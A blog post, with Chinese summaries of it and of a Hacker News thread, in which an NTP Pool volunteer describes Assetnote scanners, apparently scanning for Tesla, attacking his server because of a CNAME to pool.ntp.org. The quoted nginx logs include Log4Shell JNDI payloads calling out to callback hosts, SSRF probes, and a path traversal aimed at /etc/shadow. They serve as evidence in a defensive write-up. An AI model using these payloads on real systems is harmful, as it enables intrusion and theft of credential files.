我正受到特斯拉公司的网络攻击。
I'm being cyberattacked by Tesla, Inc

原始链接: https://dreamstation.systems/personal/tesla.html

一位服务器运营商发现其机器正遭受数千次恶意漏洞利用尝试的轰炸,包括 Log4Shell 和路径遍历探测。这些流量源自代表特斯拉(Tesla)进行扫描的 Assetnote (Searchlight Cyber) 主机。 问题源于 `pool-ntp.tesla.com` 这个域名,它被配置为 NTP Pool 的 CNAME。由于 NTP Pool 使用轮询 DNS 将流量分配给数千台志愿者服务器,Assetnote 的自动化资产发现工具错误地将作者的独立服务器识别为特斯拉的资产。因此,扫描器开始对陌生人进行激进的漏洞评估。 尽管作者已通知特斯拉,并在服务器上实施了自定义状态码以向扫描器发出警告,但攻击仍在继续,自八月下旬以来已记录了超过 50,000 次请求。其他 NTP Pool 运营商也报告了类似的活动,这表明 Assetnote 的扫描基础设施错误地将整个志愿者池作为了目标。虽然攻击并未成功,但此事件凸显了自动化攻击面管理工具在执行范围发现时存在的重大缺陷。

一位 Hacker News 用户报告称,特斯拉通过 Assetnote 平台管理的自动化安全扫描工具正对其个人服务器进行激进攻击。问题源于特斯拉为其 NTP 服务使用了 CNAME 记录,该记录解析到了该用户的 IP 地址。Assetnote 的自动化扫描器将其识别为“特斯拉资产”,并向该服务器发送了包括路径遍历、SSRF 和 Log4Shell 在内的各种漏洞利用载荷。 评论者指出,这并非流量过大的问题,而是一种危险的配置错误:第三方扫描器根据错误的资产清单数据,对无辜方发起了主动攻击。技术上的建议包括:举报来源的 AWS IP 地址;通过返回“200 OK”响应欺骗扫描器,使其标记出不存在的漏洞以触发特斯拉内部预警;或设置蜜罐来吸引扫描器的注意力。多数用户认为根本原因是特斯拉未能妥善管理其 NTP 基础设施及资产发现范围,导致其自动化工具无意中骚扰了互联网上的随机主机。
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原文

While it’s not unusual for everything on the dark dungeons of the IPv4 Internet to be subject to a barrage of drive-by scanner traffic and the occasional bizarrely persistent attacker, I noticed something strange while looking through my nginx logs. Persistent attack traffic coming from three particular IPs, with the strange thing being that they were arriving with Host or Referer headers from pool-ntp.tesla.com, carried Assetnote user agents, and were trying to SSRF me to Assetnote callback URLs:

35.168.63.24 - - [13/Sep/2026:01:14:31 -0700] "GET /?a=%3Cscript%20src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}>alert()%3C%2Fscript%3E HTTP/1.1" 299 817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 ${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}" host=pool-ntp.tesla.com

The traffic came from three specific scanners: 54.165.75.96, 35.168.63.24, and 52.44.200.251. All of those are in the Amazon Web Services AS (AMAZON-AES).

Assetnote, a legitimate attack surface management tool now called Searchlight Cyber in marketing materials, does indeed use continuous threat exposure scanners like this to perform automated checks for customers’ assets. Assuming this is actual Assetnote traffic (they do indeed use AWS, so that checks out), they must be mistaking me for an internal Tesla asset.

How this happened

Tesla publishes pool-ntp.tesla.com as a CNAME to pool.ntp.org. pool.ntp.org is the NTP Pool, a round‐robin of volunteer NTP servers that I’m a part of.

Speculation: Assetnote pulled in everything it could find under tesla.com, including pool-ntp.tesla.com, which CNAMEs to pool.ntp.org, which can resolve to my machine — 67.215.249.229. The asset inventory saves this as a Tesla asset, and starts throwing exploits at me, a stranger.

I emailed Tesla about this, and haven’t heard back yet:

Hi,

Not a vuln in Tesla, and I'm not asking for anything, but I just wanted to let you know that you may unintentionally be being a nuisance.

My server is a member of the NTP Pool. Over roughly the past two days, it has received ~8,000 requests from two of your scanning hosts: <54.165.75.96> and <35.168.63.24>, UA <Assetnote/1.0.0 (ExposureScan)>, with many templated exploit payloads.

Every payload used <pool-ntp.tesla.com> as the target hostname. I assume you have an internal subdomain that resolves round‐robin onto NTP Pool member servers, the vast majority of which are not owned by Tesla. Your asset discovery appears to be unintentionally including every IP that <pool-ntp.tesla.com> can resolve to as in‐scope for active scanning.

No harm caused here, but I wanted to warn you that **you are throwing exploits at strangers’ IPs**.

Happy to share verbatim logs if useful.

Robin
dreamstation.systems / 67.215.249.229

Their traffic

They tried all kinds of exploits against me: path traversal, webshell uploads, probing software internals, probing WordPress and other CMS management endpoints, SSRF, Log4Shell, and a lot more.

There were also callback attempts. 989 requests embedded assetnote-callback.com hostnames for Log4Shell and Text4Shell detection, and 114 named canary.assetnotessrf.com for SSRF:

GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a}

Something funny that I don’t have an explanation for is that fifteen requests carried a Host header login.solarcity.com, all requesting GET /(S(x))/b/(S(x))in/System.Web.Mvc.dll, which I think is some sort of ASP.NET trick trying to resolve /b/(S(x))in/ to /bin/.

I found some other amusing information outside of the Host header. Sweeping the Referer headers, URLs, and query strings turns up hostnames baked into the templates themselves, like this:

GET /calendars/[email protected]/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadow

Other third‐party hostnames I noticed included servicemcdonalds.com, saferas.com, rsmafghanistan.af, enrichcs.com.au, escience2010.org, al-forno.com.au, and disneyfineart.com.

An RFC 1918 address also appears in the Referer of one probe:

GET /internal/v2/config/mps_secret/ADM_SESSIONID
Referer: http://192.168.178.222/admin_ui/mas/ent/html/main.html

The scanner also tries to talk HTTP at every port it finds for some reason. My SSH, Postfix, and Dovecot have gotten tons of junk HTTP traffic.

On September 8, I started answering the pool-ntp.tesla.com Host with non‐standard status code 299 (to hopefully catch the attention of a human reading the scanner logs), with a body of this notice on every path:

# This is not Tesla infrastructure!

This is a hobbyist NTP, web, and miscellaneous server.

Over the past few days, I have been receiving tons of requests at the pool-ntp.tesla.com Host from two Assetnote scanning hosts (54.165.75.96 and 35.168.63.24).

pool-ntp.tesla.com CNAMEs to pool.ntp.org, which round-robins to thousands of volunteer NTP servers, and your scanner seems to have gotten stuck to my server.

You have not caused me any harm, but you are throwing exploits at strangers' IPs.

I have emailed [email protected] about this. If you would like, email me back at [email protected] and I can provide detailed logs.

It has unfortunately not seemed to change the behavior so far.

None of their attacks have succeeded, which I’m proud of.

Since August 21, I’ve gotten over 50,000 requests from Assetnote hosts. The traffic has not stopped yet; I will update this post in the future.

(Yes, I could just firewall out their IPs, but it’s very fun to observe this, and I want to make someone at Tesla aware of what’s going on.)

Are they doing this to the entire pool?

I asked the NTP Pool server operator community board if anyone else who happens to run a web server on the same IP as their NTP server is seeing this. One operator, Matt Nordhoff, said he had also been seeing this since August 15:

$ sudo rg -zFI pool-ntp.tesla.com access.log* | awk '{print $1}' | sort | uniq -c | sort -gr | head
   9126 54.165.75.96
   7461 35.168.63.24
   6123 52.44.200.251
     11 64.227.103.50
      6 146.190.142.16
      4 3.101.230.148
      3 3.88.188.142
      3 3.101.216.68
      2 54.213.2.72
      2 54.202.10.40

but nobody else has said anything. I am wondering if they are re‐resolving pool-ntp.tesla.com every single time and hitting everything the geolocation magic will let them reach, or if they just collected a few pool IPs and are only hammering those.

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